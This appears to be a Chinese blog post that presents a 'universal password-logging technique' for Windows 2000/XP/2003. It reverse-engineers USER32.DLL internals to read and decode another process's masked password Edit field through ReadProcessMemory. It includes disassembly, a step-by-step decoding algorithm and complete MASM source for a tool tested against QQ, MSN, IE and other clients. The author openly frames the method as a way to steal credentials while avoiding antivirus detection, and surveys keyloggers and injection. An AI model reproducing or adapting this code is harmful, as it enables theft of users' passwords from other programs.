导航


公告

文章分类

档案

登录

2009年9月9日

2007年8月8日

Edit控件密码窗口的秘密
                            ----一种全新的通用密码记录技术

  
*目前的各类密码记录技术*

  目前各类密码记录程序多如牛毛,但实现原理无非有以下六个:
一:调用CreateRemoteThread函数远程DLL或代码注入.
二:调用SetWindowsHookEx安装键盘钩子记录按键,或是键盘驱动记录按键.(注五)
三:伪造登陆界面.
四:登录信息在网络传输过程中被嗅探.
五:分析目标程序流层,文件补丁技术(注一).
六:分析目标程序流层,搜索并读取存放在内存中(比如:全局变量)的密码.

  由于后四个技术都要对目标程序进行专门的分析所以更多的用在专用游戏盗号程序中.这样目前通用的获取目标主机各类程序登录密码的技术还是紧紧局限于前两个.

*两大主流密码记录技术的局限性*

  对于键盘记录技术由于用户可能会不按顺序输入密码所以正确率有限,要是安装键盘驱动还要Admin权限同时更难以区分用户是输密码还是其它输入(在驱动下可没有GetActiveWindow函数呵呵).
  对于第一种技术前面所说的问题都不存在,并且用各种语言编写的源代码广为流传,所以水平高一点点的黑客都会使用,但也正因为这个远线程注入技术实在太流行,所以很多杀毒软件一但发现有程序调用了CreateRemoteThread这个API就会提示并拦截(比如江民公司的"木马一扫光").同样安装键盘钩子比如调用SetWindowsHookEx有些杀毒软件也会提示.
   难道就没有通用性相对较好,记录正确率高,不容易被杀毒软件查杀的技术了吗?请看下文.

*目前的思路*

  对于WINDOWS程序中的密码窗口通常是具有ES_PASSWORD风格的EDIT控件(通常输入内容显示为*号),在WINDOWS 98下要记录密码,只用给这种窗体发送一个WM_GETTEXT消息就可以了没有任何限制,在WIN2000以后的操作系统中,微软也意识到这样太不安全,所以限制为进程只可以给自已的具有ES_PASSWORD风格的EDIT控件窗口发送WM_GETTEXT消息并正确得到窗口内容(注二).这样也就很好理解为什么目前的两大主流技术要么是建一个远程线程,要么HOOK键盘了.现在的程序和WIN98时代很明显的区别就是都要多一个DLL.
(直接代码注入的可以不要DLL但还是会调用可能引起杀毒软件提示的API函数)

*新的思路*

  在EDIT控件输入字符以后,这些字符当然是被记录在EDIT控件所在的进程可以仿问的内存中的.可不可以直接从内存中读取内容呢?
也就是写了一个自已的不受微软限制的GetWindowText函数,或是叫GetWindowPass函数.读内存可以调用OpenProcess和ReadProcessMemory
或是集成这两个函数的Toolhelp32ReadProcessMemory.怎么读的问题解决了,现在就是读哪个位置的问题.另外OpenProcess
不代写内存的参数一般杀毒软件不会提示(注三).
  

*读哪儿?*

  解决这个问题首先我们还是看看微软是怎么读的吧.大家都知道要取得EDIT控件的内容可以发WM_GETTEXT消息或是调用USER32.DLL中
的GetWindowTextA函数.打开WIN32DASM和SOFTICE.一路跟踪后总算基本明白了其中的原理,重要代码反汇编如下:共有三部分
(USER32.DLL 5.1.2600.2180,XPSP2 PRO CN)

第一部分:
GetWindowText函数执行后很快就会调用如下代码:重要的地方会有注解:)

:77D184D0 8BFF                    mov edi, edi
:77D184D2 55                      push ebp
:77D184D3 8BEC                    mov ebp, esp
:77D184D5 51                      push ecx
:77D184D6 53                      push ebx
:77D184D7 56                      push esi
:77D184D8 57                      push edi
:77D184D9 8855FC                  mov byte ptr [ebp-04], dl
:77D184DC 8BF9                    mov edi, ecx                      ;edi中为密码窗口句柄
:77D184DE 33F6                    xor esi, esi
:77D184E0 64A118000000            mov eax, dword ptr fs:[00000018]  ;得到当前线程的TEB
:77D184E6 8B0D6000D777            mov ecx, dword ptr [77D70060]
:77D184EC 8D98CC060000            lea ebx, dword ptr [eax+000006CC] ;当前线程TEB的基地址+6CCH放入EBX中
:77D184F2 8BC7                    mov eax, edi
:77D184F4 25FFFF0000              and eax, 0000FFFF                 ;eax中为密码窗口句柄的低16位
:77D184F9 3B4108                  cmp eax, dword ptr [ecx+08]
:77D184FC 734D                    jnb 77D1854B
:77D184FE 8B0D8400D777            mov ecx, dword ptr [77D70084]     ;77D70084是USER32.DLL中的一个全局变量的地址,重要!
:77D18504 8D0440                  lea eax, dword ptr [eax+2*eax]
:77D18507 8D0C81                  lea ecx, dword ptr [ecx+4*eax]    ;ecx为(密码窗口句柄低16位x12)+一个未知全局变量
--------------------------无关代码省略之-------------
:77D1852F 8B31                    mov esi, dword ptr [ecx]          ;ecx的值没变,取里面的值给esi
:77D18531 0F8471A40100            je 77D329A8
:77D18537 3B30                    cmp esi, dword ptr [eax]
:77D18539 0F8269A40100            jb 77D329A8
:77D1853F 3B7004                  cmp esi, dword ptr [eax+04]
:77D18542 0F8360A40100            jnb 77D329A8
:77D18548 2B731C                  sub esi, dword ptr [ebx+1C]      
;刚才的值-RealClientID,EBX+1C接合上面的代码看就是当前线程TEB的基地址+6CCH+1CH,取得的值也就是当前线程的RealClientID

第二部分
经过一些跳转后会调用EditWndProc,其中的关键代码如下:

Exported fn(): EditWndProc - Ord:00C1h ;函数入口
:77D2C538 8BFF                    mov edi, edi
:77D2C53A 55                      push ebp
:77D2C53B 8BEC                    mov ebp, esp
:77D2C53D 83EC1C                  sub esp, 0000001C
:77D2C540 8B550C                  mov edx, dword ptr [ebp+0C]        ;如果EDX为0Dh说明是取得窗口的内容
:77D2C543 53                      push ebx
:77D2C544 56                      push esi
:77D2C545 57                      push edi
:77D2C546 8B7D08                  mov edi, dword ptr [ebp+08]
:77D2C549 8B07                    mov eax, dword ptr [edi]
:77D2C54B 8BB7A4000000            mov esi, dword ptr [edi+000000A4]  ;这儿的EDI和前面代码最后的ESI是同一个值,重要!
:77D2C551 33C9                    xor ecx, ecx                       ;计算后ESI就是一个指向窗口内容结构的指针
:77D2C553 8945F4                  mov dword ptr [ebp-0C], eax
:77D2C556 41                      inc ecx
---------------------无关代码省略之---------------
:77D2C5B9 51                      push ecx
:77D2C5BA FF7514                  push [ebp+14]
:77D2C5BD FF7510                  push [ebp+10]
:77D2C5C0 56                      push esi
:77D2C5C1 E88E040000              call 77D2CA54   ;得到窗口内容

第三部分:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:77D2C665(C)
|
:77D41496 837E0C00                cmp dword ptr [esi+0C], 00000000
:77D4149A 7427                    je 77D414C3
:77D4149C 668B466A                mov ax, word ptr [esi+6A]
:77D414A0 660FAF460C              imul ax, word ptr [esi+0C]          ;esi和上面的一样指向窗口结构,ESI+0C是取得密码长度
:77D414A5 668945FA                mov word ptr [ebp-06], ax
:77D414A9 668945F8                mov word ptr [ebp-08], ax
:77D414AD 8D45F8                  lea eax, dword ptr [ebp-08]
:77D414B0 50                      push eax                           
:77D414B1 33C0                    xor eax, eax
:77D414B3 8A86EC000000            mov al, byte ptr [esi+000000EC]     ;ESI+EC解码密码的变量,总是一个字节
:77D414B9 897DFC                  mov dword ptr [ebp-04], edi
:77D414BC 50                      push eax

* Reference To: ntdll.RtlRunDecodeUnicodeString, Ord:0304h
                                  |
:77D414BD FF154410D177            Call dword ptr [77D11044]           ;对该函数分析可知,esi+00存放编码后的密码的地址
     
*分析GetWindowTextA后的总结*

   分析流层可知道GetWindowTextA函数要取得一个EDIT控件的内容要得到如下参数:
1.窗口句柄,线程,进程ID,2.窗口所在的线程的TEB(线程环境块),3.窗口所在的进程加载的USER32.DLL中的一个未知的全局变量.
   我们的进程可不可以获得这三个参数呢?
   对于句柄可以使用的函数有GetWindow,WindowFromPoint,EnumWindows等,由句柄得到进程,线程ID调用GetWindowThreadProcessId
   对于窗口所在的线程的TEB,我查阅NATIVE API手册后找到了ZwQueryInformationThread,当然先要调用OpenThread得到线程句柄
   对于第三个参数,它的值一般总是为00XX0000,它其实就是进程的GUI TABLE在R3层的映射的基地址.GUI TABLE也就是用户对象句柄表,
它里面的值简单的说就是一些指向窗体信息结构的指针.


*获得GUI TABLE在R3成层的映射基地址*

   我的系统中,记录这个地址的变量的地址是77D70084,在SOFTICE中对这个地址下BPM写断点,发现每个进程加载USER32.DLL的时候一般是要
调用这个DLL中的UserClientDllInitialize,在这个函数的如下代码处

:77D21020 8DB5A0FAFFFF            lea esi, dword ptr [ebp+FFFFFAA0]
:77D21026 BF8000D777              mov edi, 77D70080     ;注意不是77D70084
:77D2102B F3                      repz
:77D2102C A5                      movsd

会对这个变量赋初值.然后打开W32DASM,查找77d70084和77d70080,结果发现了一个UNDOCUMENT API:UserRegisterWowHandlers!
分析这个函数的最后面的代码可以看出这个函数的返回值就是记录GUI TABLE在R3成层的映射基地址的变量的地址-4.代码如下:

:77D535F5 B88000D777              mov eax, 77D70080
:77D535FA 5D                      pop ebp
:77D535FB C20800                  ret 0008

   到此理论上要实现直接内存读取密码应该没有问题了,下面看看具体的算法是什么:)


*把密码算出来*

第一步:
取窗口句柄的低16位然后乘以12,我们设结果为HwndIndex
第二步:
得到GUI TABLE在R3成层的映射基地址,我们设这个地址为GuiTableBase
第三步:GuiTableBase+HwndIndex,然后取里面的值得到PHwndStruct1
第四步:
TEB基地址+6cch+1ch,取里面的值,得到RealClientID
第五步:
PHwndStruct1-RealClientID得到PHwndStruct2
第六步:
PHwndStruct2+A4H,取里面的值得到真正的记录窗体信息的结构的地址设结果为PRealWinStruct
第七步:
PRealWinStruct+00h里面的值是编码后的密码的地址
PRealWinStruct+0ch里面值是密码长度我们叫PASSLEN
PRealWinStruct+ech里面值是解码要用到的一个变量我们叫ENCODE.
第八步:
解码算法,通过对RtlRunDecodeUnicodeString分析后解码算法如下:

        MOV EDX,ENCODE
        mov cl,dl
        mov edi,PASSLEN
@@nextpass:        
        CMP EDI,1
        JBE @@firstpass
        mov eax,esi       ;esi指向编码后的密码的第一个字节.
        add eax,edi
        mov dl,[eax-2]
        xor dl,[eax-1]
        xor dl,cl ;重要
        mov [eax-1],dl
        dec edi
        jmp @@nextpass
@@firstpass:
        or  cl,43h
        mov edx,offset buffer1
        xor [edx],cl

  注意通过对多个2K,XP,2003系统的分析前面五步以及八步始终没有变化,第六步WIN2000是+98h
2003是+a0h,第七步,2000和2003都是+0CH,XP是+14H或+0ch

*具体编码*

   为了证明思路的正确性,专门写了一个WINDOWS2K/XP/2003下看星号密码的小程序,当然完全不用远程注入线程了.
下面把关键实现代码分析一下:

第一步:得到密码密窗口句柄:

                            invoke        GetCursorPos,addr @stPoint             ;得到当前光标位置
                        invoke        WindowFromPoint,@stPoint.x,@stPoint.y  ;得到光标下窗口的句柄                       
                        mov        @hWindow,eax
                        .if        eax !=        NULL
                                invoke GetWindowLong,@hWindow,GWL_STYLE     ;得到窗口风格
                                .if (eax & ES_PASSWORD)                     ;是密码框吗?
                    invoke GetClassName,@hWindow,offset classname,64   ;如果是得到控件类名
                    invoke lstrcmpi,offset classname,offset editname   
                    .if eax == 0                                       ;如果类名是Edit,那么调用ViewPass函数读密码
                    mov eax,@hWindow
                    mov WINHAND,eax
                    invoke ViewPass
                    .endif                                       
                                       
                                .endif
                        .endif

第二步:判断系统:

LOCAL verinfo:OSVERSIONINFO
   
    mov     verinfo.dwOSVersionInfoSize,sizeof OSVERSIONINFO
    invoke  GetVersionEx,addr verinfo
    .if (verinfo.dwPlatformId == VER_PLATFORM_WIN32_NT && verinfo.dwMajorVersion == 5 && verinfo.dwMinorVersion == 1)
        mov eax,1 ;xp
        mov passoffset,0A4H
        mov lenoffset ,14H
        .......
        
程序只取WIN2000/XP/2003系统的密码,同时根据不同的系统设置偏移.经过测试
同一种系统偏移没有变化,所以通用性应该很好.
   

第三步:得到密码窗口的线程和进程ID
               invoke GetWindowThreadProcessId,eBx,addr parid
               MOV    WINTHREADID,EAX ;返回值为线程ID
第一个参数为窗口句柄,第二个参数为得到进程ID         


第四步:根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址

invoke GetUser32Base,parid
返回值就是基地址:)

GetUser32Base  proc uses ebx esi edi remoteproid
            LOCAL hSnapshot:dword
            LOCAL modinfo:MODULEENTRY32
            LOCAL modname[256]:byte

        mov            modinfo.dwSize,sizeof MODULEENTRY32
        invoke  CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid ;第一个参数表示例举模块
        mov     hSnapshot,eax
        invoke  Module32First,hSnapshot,addr modinfo ;结果放在modinfo结构中,modBaseAddr成员记录
        .while eax                                   ;相应模块加载的基地址
        lea     ecx,modinfo.szModule
        invoke  lstrcmpi,offset user32dll,ecx  ;比较模块名是否为user32.dll
        .if     eax == 0
                mov eax,modinfo.modBaseAddr
                ret
        .endif
        invoke  Module32Next,hSnapshot,addr modinfo
        .endw
        invoke        CloseHandle,hSnapshot
        
                ret
GetUser32Base   endp

第五步:
根据窗口所在的线程得到该线程的TEB地址
            invoke  OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID ;线程ID
            .if        eax != NULL
                    mov     THREADHAND,EAX
                        invoke        LoadLibrary,offset Ntdll
                    invoke        GetProcAddress,eax,offset _ZwQueryInformationThread ;调用NAVITE API
                    mov     apiquerthread,eax                    
                    push    0
                    push    sizeof THREAD_BASIC_INFORMATION
                    lea     ecx,threadinfo
                    push    ecx
                    push    ThreadBasicInformation
                    push    THREADHAND
                    call    apiquerthread
                    .IF EAX == STATUS_SUCCESS
                        lea ecx,threadinfo
                        mov esi,[ecx+4] ;得到TEB了,通常为7FFDX000
                    .ELSE
                        invoke MessageBox,0,offset errgetteb,offset vp,1
                        ret
                .ENDIF
        .else
            invoke MessageBox,0,offset erropenthread,offset vp,1
            ret
        .endif

第六步:得到TEB中的RealClientID,注意这儿是读目标程序的内存,不是自已的了.
        
        add esi,6cch  ;看第五步,ESI中为目标线程的TEB基地址,如果是程序自已获得自已的TEB        
        add esi,1ch   ;只用MOV EAX,FS:[18]就行了,也就是文章中间反汇编看到的那样.
        invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
;第一个参数为密码所在窗口进程PID,第二个是读的起始地址,第三个是放在哪儿,第四是读长度,第五实际读取
        .if eax == TRUE ;为真说明读成功
               mov eax,offset buffer1
               mov eax,[eax]
               mov edi,eax
               .if eax ==NULL
                invoke MessageBox,0,offset errnorealcid,offset vp,1
               ret
               .endif
        .endif

第七步:得到目标进程R3层的GUI TABLE基地址

   这一步应该是这个程序最关键的部分,希望大家认真阅读.先介绍一下我的思路:
我们已经知道这个基地址存放在目标程序加载的USER32.DLL的全局变量中.并且这个DLL中的UserRegisterWowHandlers
函数的返回值就是这个全局变量的地址.
  首先想到的办法是直接调用这个函数,但是通过对这个函数的反汇编分析后发现该函数的参数难以正确构造特别是
在WIN2003系统下该函数会比较严格的检查参数,所以就放弃了直接调用该函数得到基地址的办法.
  通过对不同系统的这个函数反汇编我们可以很容易的找到共同点:
2K系统:(5.0.2195.7032)
:77E3565D B880D2E477              mov eax, 77E4D280
:77E35662 C20800                  ret 0008

XP系统:(5.1.2600.2180)
:77D535F5 B88000D777              mov eax, 77D70080
:77D535FA 5D                      pop ebp  
:77D535FB C20800                  ret 0008

2003系统:(5.2.3790.1830)
:77E514D9 B8C024E777              mov eax, 77E724C0
:77E514DE C9                      leave
:77E514DF C2080000                ret 0008
   分析共同点以后,我们就可以写出相应的算法.我的算法是:
1.得到我的进程自身的USER32.DLL的基地址,我们设为user32base(其实也就是LoadLibrary加载这个DLL的返回值)
2.调用GetProcAddress得到UserRegisterWowHandlers的入口地址.
3.从入口地址处读1000个字节(这个函数功能其实很简单1000个字节足够了)
4.在这1000个字节中,我使用了LDE32库的汇编指令长度判断函数(注四).给出指令的首地址可以准确的计算出指令的长度.
这样我先找长度为3的指令,同时指令内容要为C20800(UserRegisterWowHandlers只有两个参数所以用这种方法找这个指令正确率应该很高)
在查找的过程中我用一个局部变量记录每一个指令的长度.在找到C20800后我再倒过去找指令长度为5,同时指令的第一个字节为B8
(也就是mov eax,xxxxxxxx指令)
5.在找到mov eax,xxxxxxxx指令后,取这个地址往后4个字节的值,这个值(我们设为varaddr)通常就是记录GUI TABLE基地址变量的地址
6.分析USER32.DLL的PE文件结构,找出这个DLL的全局变量的起始地址(也就是.data段的虚拟偏移(VirtualAddress)+USER32.DLL的加载基地址).
7.用第5步找到的varaddr-(user32base+VirtualAddress),得到的值就是这个变量在USER32.DLL的全局变量中的相对偏移,我们记为VarOffset,
  如果这个值>0,同时小于.data段的VirtualSize那么说明成功.如果不成功我们再跳到第5步再从后往前重新找mov eax,xxxxxxxx指令.
8.通过前面第四步(根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址)+VirtualAddress+VarOffset我们就得到了目标
  进程中这个变量的地址,最后再调用Toolhelp32ReadProcessMemory,就可以读出GUI TABLE的基地址了.

(注:由于不能找到直接调用UserRegisterWowHandlers的办法,所以第七步从原理上看并不能保证有100%的成功率,但通过我对多个不同系统
不同版本的测试,目前的这个算法都还是通用)

第八步:最后其实就是把*把密码算出来*这一节的算法实现就0K了.不过要注意的是密码可能是Unicode格式的.


*最后的总结*

   所有的分析和技术细节都在上面了,这篇文章要用到PE文件格式,NAVITE API,反汇编等知识如有不懂可以参考网上的相关的资料.





注一:文件补丁技术简单说就是分析目标程序的流层,找出程序本身获得密码框密码的代码,然后在这个代码后面加上一个跳转
  跳到我们新增加的PE节中,在这个节中的代码就是取得密码并记录到文件中,然后再跳回程序原来的流层.

注二:其实要取得密码也可以这样做:发送EW_SETPASSWORDCHAR消息,取消EDIT控件的密码风格,然后再调用GetWindowText函数取密码
  最后再恢复密码框属性,不过对于这种办法,用户很可能会发现异常.
     使用Delphi/BCB工具中的TEDIT类,可以直接发消息,这时微软的限制完全不起作用.

注三:大多数版本的ZoneAlarm是只防止OpenProcess打开系统进程以及IE的进程句柄,对于OpenProcess第三方程序默认中级安全级别下不拦.

注四:程序中使用的LDE32库,是国外的程序员开发的一个专门计算汇编指令长度的小工具,网上有源代码可下载.
该库文件编译后只有600多个字节.

注五:还有一种按键记录技术是用一个死循环不停的调用GetAsyncKeyState和GetKeyState判断同一时间下每个按键的当前状态.
该方法目前也很难被安全软件发现但还是有记录不准确,不能记录不按顺序输入的密码(当然也不能记中文)等问题.


附:
1.看星号程序源代码
2.一个简单的密码框程序
3.测试系统的USER32.DLL



内存读取获得密码(原创)

;                  #--------------------------------------#         #
;                #  PassView                               #      #
;              #                                            #   #
;            #                                                #
;          #                      2007.1.1                    #
;            #                    codz: czy                #    #
;             #------------------------------------------#        #

;test on winXPSP2,qqgame,qqlocalmsgpass,MSN,IE HTTPS/FTP,OE,RAR

                .386
                .model flat, stdcall
                option casemap :none   ; case sensitive

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include     \masm32\include\windows.inc
include     \masm32\include\kernel32.inc
include     \masm32\include\user32.inc
include     \masm32\include\gdi32.inc


includelib  \masm32\lib\kernel32.lib
includelib  \masm32\lib\user32.lib
includelib  \masm32\lib\gdi32.lib

CLIENT_ID STRUCT        ; sizeof = 8
        UniqueProcess        HANDLE        ?
        UniqueThread        HANDLE        ?
CLIENT_ID ENDS

THREAD_BASIC_INFORMATION STRUCT        ; sizeof = 1ch
        ExitStatus                                DWORD           ?
        TebBaseAddress                        PVOID                ? ; PTEB
        ClientId                            CLIENT_ID        <> ; 8h
        AffinityMask                        DWORD                ? ;
        Priority                            DWORD                ?
        BasePriority                DWORD                ?
THREAD_BASIC_INFORMATION ENDS

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        子程序声明
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain        PROTO        :DWORD,:DWORD,:DWORD,:DWORD
ViewPass                proto
_ProcessPeFile          proto :dword
GetUnknowVarOffset      proto
GetUser32Base           proto :dword
CheckOS                 proto
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.const
STATUS_SUCCESS                equ        0
ThreadBasicInformation        equ 0
DLG_MAIN        equ                1000
ID_PWD                equ                1001
IDB_1                equ            1
IDC_BMP                equ            108

RGB MACRO red, green, blue
        xor eax, eax
        mov al, blue    ; blue
        rol eax, 8
        mov al, green   ; green
        rol eax, 8
        mov al, red     ; red
ENDM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
hWinMain    dd ?
vp          db 'viewpass 0.1 codz czy',0
PASSLEN     DD ?
ENCODE      DD ?
WINTHREADID DD ?
WINHAND     DD 0
unknownvar  DD ?
VirtualAddress dd ?
VirtualSize dd ?
VarOffset   dd ?
modbase     dd ?
lenoffset   dd ?
passoffset  dd ?
Tahoma      db 'Tahoma',0
editname    db 'EdIt',0
Richeditname db 'RichEdit20W',0
dataname    db '.data   ',0
erros       db '不是吧,还在用WIN9X/NT4',0
nowin       db '找不到主窗体',0
nowin2      db '找不到子窗体中的密码窗口',0
errnowow    db '不能找到UserRegisterWowHandlers函数地址',0
errnocode   db '不能找到UserRegisterWowHandlers函数中相匹配的机器码',0
erropenthread db '不能打开线程',0
errgetteb     db '打开线程但不能得到TEB',0
errnorealcid  db '不能得到TEB中的RealClientID',0
errnounknowvar db '不能从user32.dll中找到未知变量',0
passerr     db '密码太长或为空',0
tebformat   db 'TEB %x',0
varformat   db 'user32.dll gSharedInfo addr:%x',0
varformat2  db 'GUI TABLE in user modle addr:%08x',0
realcidformat  db 'real cid:%x',0
Wndformat      db 'pass window hand:%x,win thread id:%x',0
wndcontformat  db 'win struct:%x',0
passaddrformat db 'pass addr:%x',0
passlenformat  db 'pass len:%d',0
passformat     db 'pass decode  is:%x',0
user32dll      db 'user32.dll',0
Ntdll                   db        "NTDLL.DLL",0
_UserRegisterWowHandlers  db "UserRegisterWowHandlers",0
_ZwQueryInformationThread db "ZwQueryInformationThread",0
THREADHAND     DD 0
apiquerthread  dd ?
Pthreadinfo    dd ?
.data?
hInstance           dd ?
szBuffer           db 256 dup        (?)
buffervar      db 32 dup (?)
buffervar2     db 32 dup (?)
bufferteb      db 32 dup (?)
bufferPassWnd  db 32 dup (?)
bufferrealcid  db 32 dup (?)
bufferwndcont  db 32 dup (?)
bufferpassaddr db 32 dup (?)
bufferpasslen  db 32 dup (?)
bufferpass1    db 128 dup (?)
bufferuni      db 256 dup (?)
classname      db 128 dup (?)
buffer1        db 128 dup (?)
buffercode     db 1024 dup (?)

                .code

;********************************************************************
ViewPass  proc
            LOCAL parid:dword
            LOCAL threadinfo:THREAD_BASIC_INFORMATION

        ;invoke MessageBox,0,offset vp,offset vp,1

;--------------判断操作系统        
        invoke CheckOS
        .if eax == 0
            ret
        .endif        
        
;---------------得到密码窗口句柄,以及线程句柄,进程句柄
            
            MOV EBX,WINHAND
            .if  EBX!=NULL
               invoke GetWindowThreadProcessId,eBx,addr parid
               MOV    WINTHREADID,EAX
               ;invoke wsprintf,offset bufferPassWnd,offset Wndformat,ebx,eax
               ;invoke MessageBox,0,offset bufferPassWnd,offset vp,1
            .else   
                invoke    MessageBox,0,offset nowin2,offset vp,1
                ret      
            .endif
;-------------根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址

        invoke GetUser32Base,parid
        mov    modbase,eax

;--------------根据窗口所在的线程得到该线程的TEB地址
            invoke  OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID
            .if        eax != NULL
                    mov     THREADHAND,EAX
                        invoke        LoadLibrary,offset Ntdll
                    invoke        GetProcAddress,eax,offset _ZwQueryInformationThread
                    mov     apiquerthread,eax                     
                    push    0
                    push    sizeof THREAD_BASIC_INFORMATION
                    lea     ecx,threadinfo
                    push    ecx
                    push    ThreadBasicInformation
                    push    THREADHAND
                    call    apiquerthread
                    .IF EAX == STATUS_SUCCESS
                        lea ecx,threadinfo
                        mov esi,[ecx+4] ;得到TEB了
                    .ELSE
                        invoke MessageBox,0,offset errgetteb,offset vp,1
                        ret
                .ENDIF
        .else
            invoke MessageBox,0,offset erropenthread,offset vp,1
            ret
        .endif
        ;invoke wsprintf,offset bufferteb,offset tebformat,esi
        ;invoke MessageBox,0,offset bufferteb,offset vp,1   
        
;-------------------------得到TEB中的RealClientID        
        add esi,6cch
        add esi,1ch
        invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
        .if eax == TRUE
               mov eax,offset buffer1
               mov eax,[eax]
               mov edi,eax
               .if eax !=NULL
               ;invoke wsprintf,offset bufferrealcid,offset realcidformat,eax
               ;invoke MessageBox,0,offset bufferrealcid,offset vp,1
               .else
                invoke MessageBox,0,offset errnorealcid,offset vp,1
               ret
               .endif
        .endif
     

        
        ;密码窗口句柄取低16位
        xor eax,eax
        mov   ebx,WINHAND
        mov   ax,bx
        add   ax,ax
        add   ax,bx ;3
        add   ax,ax ;6
        add   ax,ax ;12
        mov   ebx,eax
        pushad
        invoke GetUnknowVarOffset
        .if eax !=NULL
               mov eax,VarOffset
               add eax,modbase
               add eax,VirtualAddress
               ;invoke wsprintf,offset buffervar,offset varformat,eax
               ;invoke MessageBox,0,offset buffervar,offset vp,1        
        .else
                invoke MessageBox,0,offset errnounknowvar,offset vp,1
                ret
        .endif
        popad
        mov ecx,VarOffset
        add ecx,modbase
        add ecx,VirtualAddress
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
                ;push ecx
               ;invoke wsprintf,offset buffervar2,offset varformat2,ecx
               ;invoke MessageBox,0,offset buffervar2,offset vp,1
               ;pop ecx

        .endif        
        add  ebx,ecx ;窗口句柄低16位*12+GUI TABLE BASE
        invoke Toolhelp32ReadProcessMemory,parid,ebx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
        .endif
        sub ecx,edi ;减REALCLIENTID
        mov esi,ecx  
        ;invoke wsprintf,offset bufferwndcont,offset wndcontformat,esi
        ;invoke MessageBox,0,offset bufferwndcont,offset vp,1   
        
        add esi,passoffset
        invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov esi,[ecx]
        .endif
        ;invoke wsprintf,offset bufferpassaddr,offset passaddrformat,esi
        ;invoke MessageBox,0,offset bufferpassaddr,offset vp,1         
        ;得到密码长度
        mov  ecx,esi
        add  ecx,lenoffset
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
                mov PASSLEN,ecx
        .endif     
        .if ecx>0 && ecx <32
        ;invoke wsprintf,offset bufferpasslen,offset passlenformat,ecx
        ;invoke MessageBox,0,offset bufferpasslen,offset vp,1      
        .else
        invoke MessageBox,0,offset passerr,offset vp,1
        ret
        .endif   
        
        ;得到加密密码的变量        
        mov    ecx,esi
        add    ecx,0ECh
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                MOV ECX,[ECX]
                xor edx,edx
                movzx edx,cl
                mov ENCODE,EDX
        .endif
        ;invoke wsprintf,offset bufferpass1,offset passformat,edx
        ;invoke MessageBox,0,offset bufferpass1,offset vp,1                 
        
        ;得到解密后的密码
        mov    ecx,esi
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
        .endif
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,4,NULL
        .if eax == TRUE
                mov ecx,offset buffer1
                mov ecx,[ecx]
        .endif
        mov ebx,ecx        
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,PASSLEN,NULL
        .if eax == TRUE
                mov esi,offset buffer1
        .endif
        
        MOV EDX,ENCODE
        mov cl,dl
        mov edi,PASSLEN
@@nextpass:        
        CMP EDI,1
        JBE @@firstpass
        mov eax,esi
        add eax,edi
        mov dl,[eax-2]
        xor dl,[eax-1]
        xor dl,cl ;重要
        mov [eax-1],dl
        dec edi
        jmp @@nextpass
@@firstpass:
        or  cl,43h ;WHY?
        mov edx,offset buffer1
        xor [edx],cl
        ;密码可能是UNICODE的
        invoke lstrlenA,edx
        
        .if eax<PASSLEN ;密码是UNICODE
        mov edx,PASSLEN
        add edx,edx
        mov ecx,ebx
        invoke Toolhelp32ReadProcessMemory,parid,ecx,offset buffer1,edx,NULL
        .if eax == TRUE
                mov esi,offset buffer1
        .endif
        mov edi,PASSLEN
        add edi,edi
        MOV EDX,ENCODE
        mov cl,dl
        
@@nextpass2:        
        CMP EDI,1
        JBE @@firstpass2
        mov eax,esi
        add eax,edi
        mov dl,[eax-2]
        xor dl,[eax-1]
        xor dl,cl ;重要
        mov [eax-1],dl
        dec edi
        jmp @@nextpass2
@@firstpass2:
        or  cl,43h
        mov edx,offset buffer1
        xor [edx],cl
        ;invoke MessageBoxW,0,edx,edx,1
        invoke        SetDlgItemTextW,hWinMain,ID_PWD,edx      
        .else
        mov ecx,offset buffer1
        add ecx,PASSLEN
        xor eax,eax
        MOV [ECX],eax
        invoke        SetDlgItemTextA,hWinMain,ID_PWD,offset buffer1
        invoke  RtlZeroMemory,offset buffer1,128
        .endif

            ret
ViewPass  endp  

comment %
GetUnknowVarOffset  proc uses esi edi ebx
                    LOCAL   user32base:dword  
